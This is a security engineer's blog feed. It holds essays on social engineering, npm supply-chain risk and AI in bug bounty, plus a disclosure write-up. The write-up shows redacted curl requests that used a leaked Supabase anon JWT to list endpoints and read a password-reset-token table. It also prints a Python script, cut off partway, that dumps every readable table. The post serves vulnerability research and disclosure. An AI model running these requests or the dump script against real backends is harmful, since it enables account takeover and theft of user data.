<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://bour.ch/feed.xml" rel="self" type="application/atom+xml" /><link href="https://bour.ch/" rel="alternate" type="text/html" /><updated>2026-11-06T19:46:35+00:00</updated><id>https://bour.ch/feed.xml</id><title type="html">BOUR Abdelhadi</title><subtitle>Security Engineer with a background in development.</subtitle><author><name>BOUR Abdelhadi</name></author><entry><title type="html">You don’t need a kernel 0day</title><link href="https://bour.ch/you-dont-need-a-kernel-0day/" rel="alternate" type="text/html" title="You don’t need a kernel 0day" /><published>2026-09-15T11:04:00+00:00</published><updated>2026-09-15T11:04:00+00:00</updated><id>https://bour.ch/you-dont-need-a-kernel-0day</id><content type="html" xml:base="https://bour.ch/you-dont-need-a-kernel-0day/"><![CDATA[<p>I’ve been in security engineering for more than ten years, and I’m still learning from others. There are some incredibly smart people in this field. If you stay humble, there’s always someone who can teach you something.</p>

<p>One thing I think we sometimes overlook is <em>how much an attacker can achieve by earning someone’s trust</em>.</p>

<p>When people imagine a sophisticated attack, they often picture someone digging through code, hunting for a kernel 0day, or studying a company’s infrastructure. Sometimes, a <em>convincing</em> request is enough.</p>

<p>Take the recent Revolut incident. <a href="https://www.theregister.com/cyber-crime/2026/09/14/revolut-falls-for-fake-government-requests-hands-over-customer-data/5296118">Revolut confirmed</a> that an attacker used an email address on a legitimate government agency domain to submit fraudulent requests for information. The company handed over sensitive customer data in response.</p>

<p>Impersonating a trusted entity is one example. But there’s another scenario I keep thinking about: an attacker running a business with a service people actually want to use.</p>

<p>Imagine a product that works, solves a problem, and gives people a reason to come back. Users sign up, connect their accounts, and share information. Meanwhile, the person behind it could be collecting that data and access for a very different purpose.</p>

<p>The growth of AI tools makes me think about this even more. People connect accounts, set up MCP servers, and approve permissions because they want to finish a task. In that moment, getting the result can feel more important than understanding what they just allowed.</p>

<p>This can happen inside companies, too. Someone finds a useful tool, connects their work account, and recommends it to colleagues. You might say, “But they’re an established company. They have a SOC 2 Type II report .. etc” For me, that’s a starting point. Simply knowing they have those certs is a low bar for deciding whether to trust them with sensitive data.</p>

<p>I want to understand what happens inside and ask the difficult questions. Can engineers read customer data while debugging? Who approves that access, when does it expire, and who reviews what they do? Does sensitive information end up in logs that a much wider team can access? .. and and. These are things I want evidence for before I feel comfortable connecting anything sensitive.</p>

<p>Then there’s the question of intent. Even if the company has good intentions, what happens if an employee decides to share data or sell access to an outside attacker for money? What would prevent that, how would anyone notice, and how much damage could that person do? A company’s reputation and audit report matter, but I still want clear answers about the people who can reach my data.</p>

<p>An attacker willing to build that trust might spend months, or even years, doing it. By the time they ask for something sensitive, the relationship may feel familiar enough that the request barely gets questioned.</p>

<p>I think a patient attacker with a convincing story can be just as dangerous as someone with a serious technical vulnerability. That kind of creativity deserves more attention in security.</p>

<p>We spend a lot of time asking how someone could break into our systems. We should also ask <em>what would convince us to give them access ourselves.</em></p>]]></content><author><name>BOUR Abdelhadi</name></author><summary type="html"><![CDATA[I’ve been in security engineering for more than ten years, and I’m still learning from others. There are some incredibly smart people in this field. If you stay humble, there’s always someone who can teach you something.]]></summary></entry><entry><title type="html">The Hidden Cost of Tiny Dependencies</title><link href="https://bour.ch/hidden-cost-tiny-dependencies/" rel="alternate" type="text/html" title="The Hidden Cost of Tiny Dependencies" /><published>2026-04-14T20:46:00+00:00</published><updated>2026-04-14T20:46:00+00:00</updated><id>https://bour.ch/hidden-cost-tiny-dependencies</id><content type="html" xml:base="https://bour.ch/hidden-cost-tiny-dependencies/"><![CDATA[<p>I have been thinking a lot about npm dependencies lately, especially the small ones.</p>

<p>Not the big libraries that solve hard problems, but the tiny packages that do one small thing: strip whitespace, pad a string, check a type, or format something simple.</p>

<p>A good example is <a href="https://www.npmjs.com/package/strip-indent"><code class="language-plaintext highlighter-rouge">strip-indent</code></a>, a small package that removes leading whitespace from each line of a string. If you open the source, it is not magic. It is a short function with a regex, a loop, and a replace.</p>

<p>Useful, yes. But also the kind of thing many teams could probably own directly in their own codebase.</p>

<hr />

<h2 id="the-problem-with-just-install-it">The problem with “just install it”</h2>

<p>Installing a package became so easy that it often feels easier than creating a small <code class="language-plaintext highlighter-rouge">utils/</code> file and writing the function ourselves. Need a helper? <code class="language-plaintext highlighter-rouge">npm install</code>. Need another helper? <code class="language-plaintext highlighter-rouge">npm install</code>.</p>

<p>After a while, your project has hundreds of packages in the tree, and most people do not really know what half of them do.</p>

<p>A tiny dependency feels harmless. The bundle size does not change much, the build still works, the linter is happy, and nobody complains.</p>

<p>But the real cost is not size.</p>

<p><strong>The real cost is trust.</strong></p>

<hr />

<h2 id="small-code-big-trust">Small code, big trust</h2>

<p>Every package you install becomes part of your supply chain. It may run during install, it may run in CI, and it may run with access to your environment, your tokens, your <code class="language-plaintext highlighter-rouge">.env</code> files, or your build system.</p>

<p>A package that strips whitespace does not need network access. It does not need filesystem access. It does not need to spawn processes.</p>

<p>But npm does not really stop it from doing those things if a future version changes.</p>

<p>That is the part people forget. You are not only trusting the code you see today. You are also trusting:</p>

<ul>
  <li>Future releases</li>
  <li>Maintainer accounts</li>
  <li>Publishing tokens</li>
  <li>The registry</li>
  <li>Your lockfile</li>
  <li>Your CI setup</li>
</ul>

<p>For a small helper function, that is a lot of trust.</p>

<hr />

<h2 id="this-is-not-only-about-small-packages">This is not only about small packages</h2>

<p>To be clear, big packages can get compromised too.</p>

<p><a href="https://www.microsoft.com/en-us/security/blog/2026/04/01/mitigating-the-axios-npm-supply-chain-compromise/"><code class="language-plaintext highlighter-rouge">Axios</code></a> was a good reminder of that. Axios is not a tiny package. It solves a real problem. Most teams do not want to write their own HTTP client because there are many edge cases and a lot of behavior to get right.</p>

<p>So the lesson is not “never use dependencies.” That would be silly.</p>

<p>The lesson is that <strong>supply chain risk is real</strong>. And if that risk exists even for large packages, then we should be more careful when adding tiny packages that do very little.</p>

<p>With a big dependency, there is usually a clear reason it exists. With a tiny dependency, the question is different:</p>

<blockquote>
  <p><em>Are we accepting the same trust risk just to avoid writing a few lines of code?</em></p>
</blockquote>

<hr />

<h2 id="the-rule-i-use">The rule I use</h2>

<p>When I look at dependencies, I keep the rule simple:</p>

<p><strong>If the code fits on one screen, has no platform-specific behavior, and has no tricky edge cases, I usually do not want it as a dependency.</strong></p>

<p>I would rather write it, put it in a <code class="language-plaintext highlighter-rouge">utils/</code> file, add a small test, and own the code. Yes, now you maintain it. But if the code is ten or fifteen lines, that is not a big burden. At least the audit is simple. You can read it once and understand it.</p>

<p>Save dependencies for things that are actually hard:</p>

<ul>
  <li>Cryptography</li>
  <li>Parsers</li>
  <li>Date and timezone logic</li>
  <li>HTTP clients</li>
  <li>Framework integrations</li>
  <li>Anything with real standards and painful edge cases</li>
</ul>

<p>Those are the places where using a package makes sense.</p>

<hr />

<h2 id="before-you-npm-install">Before you <code class="language-plaintext highlighter-rouge">npm install</code></h2>

<p>Every dependency is another thing that can change. Another account that can be compromised. Another install script that might run. Another package that nobody reviews during a normal update.</p>

<p>So before adding a tiny dependency, ask one simple question:</p>

<blockquote>
  <p><em>Is this package doing enough to justify the trust I am giving it?</em></p>
</blockquote>

<p>If the answer is <em>no</em>, maybe it should not be in the tree.</p>

<p>Sometimes the safest dependency is the one you never install.</p>]]></content><author><name>BOUR Abdelhadi</name></author><summary type="html"><![CDATA[I have been thinking a lot about npm dependencies lately, especially the small ones.]]></summary></entry><entry><title type="html">AI in Bug Bounty - Thinking First Prompting Second</title><link href="https://bour.ch/ai-bug-bounty/" rel="alternate" type="text/html" title="AI in Bug Bounty - Thinking First Prompting Second" /><published>2026-04-14T07:07:00+00:00</published><updated>2026-04-14T07:07:00+00:00</updated><id>https://bour.ch/ai-bug-bounty</id><content type="html" xml:base="https://bour.ch/ai-bug-bounty/"><![CDATA[<p>I have been doing bug bounty since 2013. Back then, everything was manual. I used to write my exploits line by line, document every step, and build reports from scratch. It was not easy, and honestly, I did not enjoy writing reports, especially the complex ones. You had to simplify everything clearly to avoid endless back-and-forth during triage.</p>

<p>I have also been on the other side, managing bug bounty programs at companies I worked for. It was easy to tell who was serious and who was not. And to be honest, I learned a lot from good reports. People from all over the world come up with very creative approaches.</p>

<p>Now things are changing fast with AI.</p>

<p>Skilled security engineers are becoming much more productive. AI helps a lot with code review, searching across different sources, and spotting patterns that lead to interesting vulnerabilities. But this only works well because they already understand what they are doing. They know what to ask, and how to ask it.</p>

<p>Even report writing has become easier. You provide context, and you get a clean, structured report. You can refine it, simplify it, and make it easier for triage teams to understand.</p>

<p>But there is another side to this.</p>

<p>I am starting to see people relying too much on AI. Instead of thinking, they expect the model to do everything for them. There is a clear lack of fundamentals, especially among newcomers. And those fundamentals are exactly what you need to write a good prompt.</p>

<p>For example, this kind of prompt is weak:</p>

<blockquote>
  <p>“Here is a file. Find me a critical vulnerability.”</p>
</blockquote>

<p>Compare that to something like this:</p>

<blockquote>
  <p>This code is part of an authorization flow in a multi-tenant application.<br />
Assume an attacker is an authenticated user trying to access or modify another user’s data.</p>

  <p>Analyze the code for:</p>
  <ul>
    <li>Missing resource ownership checks</li>
    <li>Trust in client-controlled input such as user IDs</li>
    <li>Horizontal or vertical privilege escalation</li>
  </ul>
</blockquote>

<p>The difference is clear. In the second case, you bring your understanding of security into the prompt. You guide the model instead of expecting it to guess.</p>

<p>On the program side, I still manage bug bounty programs, and the amount of low-quality reports is growing fast. Many people are spamming with things like missing headers, calling them critical without any real impact, and expecting rewards. When rejected, they get frustrated.</p>

<p>We see the same trend in open source projects with random pull requests that do not add real value.</p>

<p>Because of this, filtering becomes necessary. You need to raise the bar. Not every report should even reach the triage stage.</p>

<p>I do believe AI has a lot of value in this field. The potential is real, and we are only getting started. But along with that, there will be more noise.</p>

<p>Do not get distracted by headlines saying everything is changing overnight. We will still need engineers. We will still need people who understand systems, think critically, and use these tools properly.</p>

<p>Keep learning. Stay curious. Be creative. And enjoy the ride.</p>]]></content><author><name>BOUR Abdelhadi</name></author><summary type="html"><![CDATA[I have been doing bug bounty since 2013. Back then, everything was manual. I used to write my exploits line by line, document every step, and build reports from scratch. It was not easy, and honestly, I did not enjoy writing reports, especially the complex ones. You had to simplify everything clearly to avoid endless back-and-forth during triage.]]></summary></entry><entry><title type="html">How rep+ Helped Me Identify a Critical Supabase JWT Exposure</title><link href="https://bour.ch/how-rep-helped-me-identify-a-critical-supabase-jwt-exposure/" rel="alternate" type="text/html" title="How rep+ Helped Me Identify a Critical Supabase JWT Exposure" /><published>2025-12-20T10:12:00+00:00</published><updated>2025-12-20T10:12:00+00:00</updated><id>https://bour.ch/how-rep-helped-me-identify-a-critical-supabase-jwt-exposure</id><content type="html" xml:base="https://bour.ch/how-rep-helped-me-identify-a-critical-supabase-jwt-exposure/"><![CDATA[<h2 id="table-of-contents">Table of Contents</h2>

<ol>
  <li><a href="#introduction">Introduction</a></li>
  <li><a href="#discovering-the-target">Discovering the Target</a></li>
  <li><a href="#testing-with-rep">Testing with rep+</a>
    <ul>
      <li><a href="#client-side-secret-detection">Client-side Secret Detection</a></li>
      <li><a href="#jwt-discovery">JWT Discovery</a></li>
    </ul>
  </li>
  <li><a href="#exploring-supabase-endpoints">Exploring Supabase Endpoints</a></li>
  <li><a href="#validating-row-level-security">Validating Row Level Security</a>
    <ul>
      <li><a href="#password-reset-tokens">Password Reset Tokens</a></li>
      <li><a href="#scale-of-exposure">Scale of Exposure</a></li>
    </ul>
  </li>
  <li><a href="#safe-proof-of-concept">Safe Proof-of-Concept</a></li>
  <li><a href="#responsible-disclosure">Responsible Disclosure</a></li>
  <li><a href="#why-rep-is-valuable">Why rep+ is Valuable</a></li>
  <li><a href="#getting-rep">Getting rep+</a></li>
  <li><a href="#references">References</a></li>
</ol>

<blockquote>
  <p><strong>TL;DR</strong><br />
I opened a website, ran <a href="https://github.com/repplus/rep/"><strong>rep+</strong></a>, found a leaked Supabase anon <a href="https://datatracker.ietf.org/doc/html/rfc7519">JWT</a>, checked RLS, and accidentally got read access to password reset tokens.<br />
Yes, that means <strong>full account takeover</strong>.<br />
No, I did not exploit it.<br />
Yes, this could have been very bad.</p>
</blockquote>

<h2 id="introduction">Introduction</h2>

<p>I was exploring <a href="https://trustmrr.com"><strong>trustmrr</strong></a>, a website built by <a href="https://x.com/marclou">Marc Lou:𝕏</a> to help verify whether founders are being honest about their MRR or inflating their numbers. Marc also added a feature that allows founders to list their startups for sale.</p>

<p>While browsing those listings, I came across a website claiming to generate <strong>$10k+ in MRR</strong>, with the owner asking for <strong>$100k+</strong>. Out of curiosity, I decided to take a closer look and see whether <strong>rep+</strong> could surface anything interesting.</p>

<hr />

<h2 id="discovering-the-target">Discovering the Target</h2>

<p>Recently, I added <a href="https://github.com/mongodb/kingfisher/"><strong>Kingfisher</strong></a> support to <a href="https://github.com/repplus/rep/">rep+</a> (huge thanks to <a href="https://x.com/micksmix0">Mick Grove:𝕏</a>). Kingfisher’s secret-detection rules allow <a href="https://github.com/repplus/rep/">rep+</a> to scan loaded JavaScript files for sensitive information efficiently. Before merging the <a href="https://github.com/repplus/rep/pull/58">pull request</a> into <code class="language-plaintext highlighter-rouge">main</code>, I was testing the feature in a real-world scenario, and that is exactly how I stumbled upon this issue.</p>

<hr />

<h2 id="testing-with-rep">Testing with rep+</h2>

<p><a href="https://github.com/repplus/rep/">rep+</a> is designed to be lightweight and frictionless for pentesters and security engineers. Instead of firing up a heavy proxy, you simply right-click, inspect the element, and start interacting with requests directly in the browser. With <a href="https://github.com/repplus/rep/">rep+</a>, you can:</p>

<ul>
  <li>block requests</li>
  <li>forward requests one by one</li>
  <li>forward all requests</li>
  <li>manipulate requests manually</li>
  <li>bulk replay requests</li>
  <li>diff responses to quickly spot behavioral changes</li>
</ul>

<p>On top of that, rep+ adds <strong>AI-assisted workflows</strong> to speed up analysis:</p>

<ul>
  <li>explain requests and responses in plain English</li>
  <li>highlight suspicious patterns and risky behavior</li>
  <li>suggest potential attack vectors based on request/response context</li>
  <li>help reason about impact without manual deep-diving</li>
</ul>

<p>I will not go through all the features here, as there are quite a few. Feel free to explore the <a href="https://github.com/repplus/rep/">GitHub repository</a> or follow me on <a href="https://x.com/BourAbdelhadi">𝕏</a> to learn more about what rep+ can do.</p>

<hr />

<h3 id="client-side-secret-detection">Client-side Secret Detection</h3>

<p>One of the features I rely on most is <strong>client-side secret detection</strong>. While testing the <a href="https://github.com/repplus/rep/pull/58">Kingfisher</a> integration, I used <a href="https://github.com/repplus/rep/">rep+</a> to scan all loaded JavaScript files and flag anything that might expose sensitive information.</p>

<hr />

<h3 id="jwt-discovery">JWT Discovery</h3>

<p>Opening the site in my browser and launching <a href="https://github.com/repplus/rep/">rep+</a> immediately flagged a <a href="https://datatracker.ietf.org/doc/html/rfc7519"><strong>JWT token</strong></a> embedded directly in the site’s JavaScript.</p>

<p><img src="/assets/img/rep-jwt-flagged.webp" alt="rep+ flagging a JWT token" /></p>

<p>From the screenshot above, you can click on the JavaScript file hyperlink to jump directly to the source file. Alternatively, you can use the <a href="https://github.com/repplus/rep/">rep+</a> search bar, which searches across <strong>all URLs, headers, and bodies</strong> for both requests and responses.</p>

<p><img src="/assets/img/rep-search.webp" alt="rep+ search across requests and responses" /></p>

<p>Looking at the JavaScript output, it was clear that the token was a <a href="https://supabase.com/docs/guides/auth/jwts"><strong>Supabase JWT</strong></a>. Without using any external website or tool, I highlighted the token inside <a href="https://github.com/repplus/rep/">rep+</a> and clicked <strong>JWT decode</strong> to inspect its contents.</p>

<p><img src="/assets/img/rep-jwt-highlight.webp" alt="JWT highlighted in rep+" /></p>

<p><a href="https://github.com/repplus/rep/">rep+</a> decoded the token instantly and displayed the claims inline.</p>

<p><img src="/assets/img/rep-jwt-decoded.webp" alt="Decoded JWT inside rep+" /></p>

<p>The <a href="https://datatracker.ietf.org/doc/html/rfc7519">JWT</a> was an <strong>anonymous (anon) Supabase token</strong>, which is typically intended to be publicly exposed. At this point, my goal was not exploitation, but to verify whether <a href="https://supabase.com/docs/guides/database/postgres/row-level-security"><strong>Row Level Security (RLS)</strong></a> was correctly enforced on the backend.</p>

<hr />

<h2 id="exploring-supabase-endpoints">Exploring Supabase Endpoints</h2>

<p>The very first thing I tested with the token was <strong>endpoint enumeration</strong>. Using the <a href="https://datatracker.ietf.org/doc/html/rfc7519">JWT</a>, I attempted to list the available REST endpoints exposed by <a href="https://supabase.com/">Supabase</a>, effectively enumerating the tables and RPC functions that the backend made accessible to this token.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>⚡ curl <span class="nt">-s</span> <span class="se">\</span>
  https://████████████████.supabase.co/rest/v1/ <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"apikey: ████████████████ "</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer ████████████████ "</span> | jq <span class="nt">-r</span> <span class="s1">'.paths | keys[]'</span>
</code></pre></div></div>

<p>The response returned a surprisingly large surface area:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/
/admi███████rs
/a███████rs
/ap███████les
/a███████rs
/a█████s
/co████████ts
/con███████yp██s
/cu███████ains
/f███████
/in███████tions
/l███████es
/l██████s
/mod███████nts
/mo███████ts
/mo█████les
/not███████ries
/n███████ns
/of███████es
/password_reset_tokens
/p█████ns
/pos███████kes
/p███████
/p█████████ct███████_ids
/p███████es
/products
/re███████ypes
/rpc/cl███████d_files
/rpc/cre███████ink_column
/rpc/de███████likes
/rpc/███████st_likes
/rpc/s███████ant_access
/rpc/v███████uct_access
/s███████osts
/su███████eriods
/su███████ons
/syst███████gs
/tr███████ns
/user_███████orts
/user_███████_access
/user███████ge
</code></pre></div></div>

<p>At this stage, the output alone did not confirm a vulnerability. Enumeration by itself is not exploitation. However, it immediately raised an important question:</p>

<blockquote>
  <p>Are these tables and RPC endpoints properly protected by Row Level Security?</p>
</blockquote>

<h2 id="validating-row-level-security">Validating Row Level Security</h2>

<p>From here, the focus shifted to validating whether <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">RLS</a> was consistently enforced and whether this anonymous token could access or manipulate data it should not.</p>

<h2 id="password-reset-tokens">Password Reset Tokens</h2>

<p>One of the tables that immediately stood out during enumeration was <strong><code class="language-plaintext highlighter-rouge">password_reset_tokens</code></strong>. If an anonymous token can read from this table, it can potentially be used to take over user accounts.</p>

<p>The next step was straightforward. I tried to see whether the anon <a href="https://datatracker.ietf.org/doc/html/rfc7519">JWT</a> had read access to that table.</p>

<p>I sent the following request using the same token:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="se">\</span>
  https://████████████████.supabase.co/rest/v1/password_reset_tokens?limit<span class="o">=</span>1 <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"apikey: ████████████████"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer ████████████████"</span>
</code></pre></div></div>

<p>The response came back with an HTTP 200.</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="w">
  </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"3e███2c-6██e-4██5-8██b-f24███4██"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"████████████████@gmail.com"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"token"</span><span class="p">:</span><span class="w"> </span><span class="s2">"███████████████████████████97d5█████5459███7ef7███1"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"created_at"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2025-05-05T18:04:57.013+00:00"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"expires_at"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2025-05-06T18:04:57.013+00:00"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"used"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">]</span><span class="w">
</span></code></pre></div></div>

<p>At this point, the impact was clear.</p>

<p>The anonymous Supabase <a href="https://datatracker.ietf.org/doc/html/rfc7519">JWT</a> was able to read password reset tokens, including the email address and the raw reset token itself. With access to this data, it would be possible to complete a password reset flow and take over user accounts.</p>

<p>This confirmed that <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">Row Level Security</a> was not properly enforced on this table.</p>

<h2 id="scale-of-exposure">Scale of Exposure</h2>

<p>To get a sense of the scale of the exposure, I counted the number of password reset tokens available to this token:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🗂  ~/Desktop - ⬢ v22.18.0
⚡ jq ████████████████
272
</code></pre></div></div>

<p>That number alone was enough to confirm the severity of the issue. However, it also raised a more important question:</p>

<blockquote>
  <p>Was this an isolated failure on a single table, or a systemic authorization problem?</p>
</blockquote>

<p>Manually querying tables one by one does not scale, and it leaves too much room for human error. To answer that question confidently, I decided to automate the process.</p>

<p>Using the same anonymous Supabase JWT, I wrote a small <a href="https://github.com/bscript/superbase-exposure-check">Python script</a> to:</p>

<ul>
  <li>enumerate all REST‑exposed tables</li>
  <li>test whether each table was readable</li>
  <li>safely dump readable data as JSON (read‑only)</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">SUPABASE_URL</span><span class="o">=</span>https://xxxx.supabase.co
<span class="nb">export </span><span class="nv">SUPABASE_APIKEY</span><span class="o">=</span>ANON_KEY
<span class="nb">export </span><span class="nv">SUPABASE_JWT</span><span class="o">=</span>JWT_TOKEN
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">argparse</span>
<span class="kn">import</span> <span class="n">os</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">List</span>

<span class="n">PAGE_SIZE</span> <span class="o">=</span> <span class="mi">1000</span>  <span class="c1"># safe, explicit
</span>
<span class="k">def</span> <span class="nf">parse_args</span><span class="p">():</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="nc">ArgumentParser</span><span class="p">(</span>
        <span class="n">description</span><span class="o">=</span><span class="sh">"</span><span class="s">Enumerate and dump readable Supabase tables using an anon JWT (read-only).</span><span class="sh">"</span>
    <span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="nf">add_argument</span><span class="p">(</span><span class="sh">"</span><span class="s">--url</span><span class="sh">"</span><span class="p">,</span> <span class="nb">help</span><span class="o">=</span><span class="sh">"</span><span class="s">Supabase project URL (https://xxxx.supabase.co)</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="nf">add_argument</span><span class="p">(</span><span class="sh">"</span><span class="s">--apikey</span><span class="sh">"</span><span class="p">,</span> <span class="nb">help</span><span class="o">=</span><span class="sh">"</span><span class="s">Supabase anon API key</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="nf">add_argument</span><span class="p">(</span><span class="sh">"</span><span class="s">--jwt</span><span class="sh">"</span><span class="p">,</span> <span class="nb">help</span><span class="o">=</span><span class="sh">"</span><span class="s">JWT token (Bearer)</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="nf">add_argument</span><span class="p">(</span><span class="sh">"</span><span class="s">--out</span><span class="sh">"</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="sh">"</span><span class="s">dump</span><span class="sh">"</span><span class="p">,</span> <span class="nb">help</span><span class="o">=</span><span class="sh">"</span><span class="s">Output directory</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="nf">add_argument</span><span class="p">(</span><span class="sh">"</span><span class="s">--page-size</span><span class="sh">"</span><span class="p">,</span> <span class="nb">type</span><span class="o">=</span><span class="nb">int</span><span class="p">,</span> <span class="n">default</span><span class="o">=</span><span class="n">PAGE_SIZE</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">parser</span><span class="p">.</span><span class="nf">parse_args</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">get_config</span><span class="p">(</span><span class="n">args</span><span class="p">):</span>
    <span class="n">url</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">url</span> <span class="ow">or</span> <span class="n">os</span><span class="p">.</span><span class="nf">getenv</span><span class="p">(</span><span class="sh">"</span><span class="s">SUPABASE_URL</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">apikey</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">apikey</span> <span class="ow">or</span> <span class="n">os</span><span class="p">.</span><span class="nf">getenv</span><span class="p">(</span><span class="sh">"</span><span class="s">SUPABASE_APIKEY</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">jwt</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">jwt</span> <span class="ow">or</span> <span class="n">os</span><span class="p">.</span><span class="nf">getenv</span><span class="p">(</span><span class="sh">"</span><span class="s">SUPABASE_JWT</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="nf">all</span><span class="p">([</span><span class="n">url</span><span class="p">,</span> <span class="n">apikey</span><span class="p">,</span> <span class="n">jwt</span><span class="p">]):</span>
        <span class="k">raise</span> <span class="nc">SystemExit</span><span class="p">(</span>
            <span class="sh">"</span><span class="s">Missing configuration. Provide --url, --apikey, --jwt </span><span class="sh">"</span>
            <span class="sh">"</span><span class="s">or set SUPABASE_URL, SUPABASE_APIKEY, SUPABASE_JWT</span><span class="sh">"</span>
        <span class="p">)</span>

    <span class="k">return</span> <span class="n">url</span><span class="p">.</span><span class="nf">rstrip</span><span class="p">(</span><span class="sh">"</span><span class="s">/</span><span class="sh">"</span><span class="p">),</span> <span class="n">apikey</span><span class="p">,</span> <span class="n">jwt</span>

<span class="k">def</span> <span class="nf">get_paths</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">base_url</span><span class="si">}</span><span class="s">/rest/v1/</span><span class="sh">"</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
    <span class="n">r</span><span class="p">.</span><span class="nf">raise_for_status</span><span class="p">()</span>

    <span class="k">return</span> <span class="p">[</span>
        <span class="n">p</span><span class="p">.</span><span class="nf">strip</span><span class="p">(</span><span class="sh">"</span><span class="s">/</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">r</span><span class="p">.</span><span class="nf">json</span><span class="p">().</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">paths</span><span class="sh">"</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">keys</span><span class="p">()</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">p</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">"</span><span class="s">/rpc</span><span class="sh">"</span><span class="p">)</span> <span class="ow">and</span> <span class="n">p</span> <span class="o">!=</span> <span class="sh">"</span><span class="s">/</span><span class="sh">"</span>
    <span class="p">]</span>

<span class="k">def</span> <span class="nf">dump_table</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">page_size</span><span class="p">):</span>
    <span class="n">all_rows</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span>

    <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
        <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">base_url</span><span class="si">}</span><span class="s">/rest/v1/</span><span class="si">{</span><span class="n">table</span><span class="si">}</span><span class="s">?limit=</span><span class="si">{</span><span class="n">page_size</span><span class="si">}</span><span class="s">&amp;offset=</span><span class="si">{</span><span class="n">offset</span><span class="si">}</span><span class="sh">"</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">None</span><span class="p">,</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span>

        <span class="n">chunk</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="nf">json</span><span class="p">()</span>
        <span class="n">all_rows</span><span class="p">.</span><span class="nf">extend</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>

        <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">page_size</span><span class="p">:</span>
            <span class="k">break</span>

        <span class="n">offset</span> <span class="o">+=</span> <span class="n">page_size</span>

